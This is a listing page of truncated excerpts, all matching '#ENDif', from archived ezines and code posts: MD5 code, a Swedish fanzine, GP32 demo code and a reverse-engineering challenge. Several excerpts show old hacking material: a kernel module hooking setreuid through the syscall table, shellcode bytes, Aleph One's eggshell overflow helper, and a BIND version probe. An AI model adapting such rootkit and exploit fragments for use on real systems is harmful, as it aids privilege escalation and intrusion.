#END

2x16: Extract

eZine's profile picture
Published in 
 · 1 week ago
... TAG) struct f_name { unsigned char name[256]; struct f_name *next; }; #ifdef __alpha typedef unsigned int uint32; #else typedef unsigned long uint32; #ENDif struct MD5Context { uint32 buf[4]; uint32 bits[2]; unsigned char in[64]; }; void MD5Init(struct MD5Context *context); void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); void MD5Final(unsigned char digest[16], struct MD5Context *context); void MD5Transform(uint32 buf[4], uint32 const in[16]); typedef struct MD5Context MD5_CTX; #ifndef HIGHFIRST #define byteReverse(buf, len) #else void byteReverse(unsigned char *buf, unsigned longs); #ifndef ASM_MD5 void byteRev ...

SEXTANT nummer 6

eZine's profile picture
Published in 
 · 5 months ago
... värda än annat drägg som man definierat bort från klicken. Sextants ledord är "Splittring! Misstänksamhet! Fraktionsverksamhet!" Kom med oss du med! #ENDif Den 19 juni skickade Ahrvid Engholm ut ett brev till sverifandomlistan, SKRIVA-listan och svenska skräckakademiens lista. Orsaken var att han hade sett en referens till en e-postlista kallad weirdwriters. När han ville gå med i den beviljade Rickard Berghorn, listans administratör, inte Ahrvid medlemskap. Nu vill jag inte gå djupare in på den specifika diskussionen mellan Rickard och Ahrvid än jag gjorde i ett inlägg på sverifandom-listan på natten mellan den 19 och 20 juni. Det jag vill disk ...

Hackers 4 Hackers #0D

eZine's profile picture
Published in 
 · 7 months ago
... > #ifdef MODULE #include <linux/module.h> #include <linux/version.h> #else #define MOD_INC_USE_COUNT #define MOD_DEC_USE_COUNT #ENDif #include <linux/types.h> #include <linux/fs.h> #include <linux/mm.h> #include <linux/errno.h> #include <asm/segment.h> #include <sys/syscall.h> #include <unistd.h> #include <linux/unistd.h> int errno; /* Hier wordt een pointer gedefineerd die naar de oude setreuid */ int (*o_setreuid) (uid_t, uid_t); /* In de onderstaande array staan de systemcalls en pointers */ extern void *sys_call_table[]; int new_ ...

Hackers 4 Hackers #6

eZine's profile picture
Published in 
 · 7 months ago
... \x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #ENDif eggshell.c /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcode.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != E ...

dbsnatch 1.0

eZine's profile picture
Published in 
 · 7 months ago
... h> #include <netdb.h> /* bulky shit for printing dnspkts need to link dnspkt.o from dnspkt.c too */ #ifdef DEBUG #include "dnspkt.h" #ENDif /* prototypes */ int lookup_host(struct sockaddr_in *ra, char *hn, unsigned short rp); void probe_bind(struct sockaddr_in ra); int talk(int sd, char *pkt, int pktl, char opc); int make_keypkt(char *pktbuf, char opc); void print_ver(char *host, int vul, char *buf); void handle_alarm(int signum); /* * here we simply check arguments, resolve the hostname given and * if all is well, initialize the radom seed and probe away. */ void main(argc, argv) int argc; char *argv[]; { struct ...

Tyrone v1.0

eZine's profile picture
Published in 
 · 7 months ago
... de <arpa/inet.h> #include <errno.h> #include <stdlib.h> #include <stdio.h> #ifdef HAVE_UNISTD_H #include <unistd.h> #ENDif #ifdef HAVE_SYS_TIME_H #include <sys/time.h> #endif #ifdef HAVE_SYS_SELECT_H #include<sys/select.h> #endif #ifdef HAVE_STRINGS_H #include<strings.h> #endif #ifdef HAVE_MALLOC_H #include <malloc.h> #endif #include <netdb.h> #include <string.h> #include <ctype.h> #include "wcommon.h" #define COMMANDSIZE 512 #define ARGSIZE 256 #define SWEEPDELAY 4 /* FUNCTIONS */ void msrand (unsigned int seed ); int mrand (void); unsigned int getkey(); ...

GP32 demo code (VBlank)

sang's profile picture
Published in 
 · 7 months ago
... nterrupt ("IRQ"))); #elif defined(__GCC2x__) void timer4Int(void) __attribute__ ((naked)); #else #error "GCC version you are using is not supported"; #ENDif void timer4Int(void) { #ifdef __GCC2x__ asm volatile ( "stmdb r13!,{r0-r12,lr}" ); #endif hwpal[0] = 0xffff; // just show that interrupt handler got called // Line synchronization! waitline(_line); // Reload & restart the timer4 //*tcntb4 = _pclk; // timer4 counter *tcon = (*tcon & 0x0fffff) | 0x200000; // manual update timer4 counter *tcon = (*tcon & 0x0fffff) | 0x100000; // start timer4 // Place you code here... DO ...

GP32 demo code (offscr)

sang's profile picture
Published in 
 · 7 months ago
... (319+1); *lcdaddr3 = ((240 << 11) | (240)); // OFFSIZE=0, PAGEWIDTH=240 halfwords -> 240 pixels *lcdcon1 |= 1; // enable lcd #ENDif // scrptru = *lcdaddr1; //scrptrl = *lcdaddr2; //scrptrl = *lcdaddr2 - 240; //scrptrl = *lcdaddr2 - 240*2; scrptrl = *lcdaddr2; n = 0; m = 0; while ((GpKeyGet() & (GPC_VK_FL | GPC_VK_FR)) != (GPC_VK_FL | GPC_VK_FR)) { long reg, reg2; waitline(2); if (n++ == 240) { *lcdaddr1 = scrptru; *lcdaddr2 = scrptrl; n = 0; } else { *lcdaddr1 += 1; *lcdaddr2 += 1; } waitline(1); } *tpal = 0x0001ffff; // reboot.. while ((GpKeyGet() & (GPC_VK_SELECT | GPC_VK_ ...

2x06 Phearless Challenge #2 Reversme

eZine's profile picture
Published in 
 · 9 months ago
... k koda uspjesno detektirati debugging pod njim: #if !TESTING if (System.Diagnostics.Debugger.IsAttached == true ) Process.GetCurrentProcess().Kill(); #ENDif E sad u beskonacnoj petlji radimo sljedece: ucitavamo pseudoslucajan broj te iz njega izvlacimo broj novih niti koje stvaramo, od 0 do 16. Nove niti imaju entrypint u metodi AntiTrace::ProvjeriTrace i AntiTrace::ProvjeriTrace2 metodama koje cemo objasniti u nastavku. Njihove ThreadStart delegate spremamo u polje, te pri startu njihov prioritet postavljamo na ThreadPriority.BelowNormal kako ne bi opteretili previse izvodjenje primarnih niti. Nakon toga odspavamo trenutnu nit na slucajan broj m ...
loading
Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT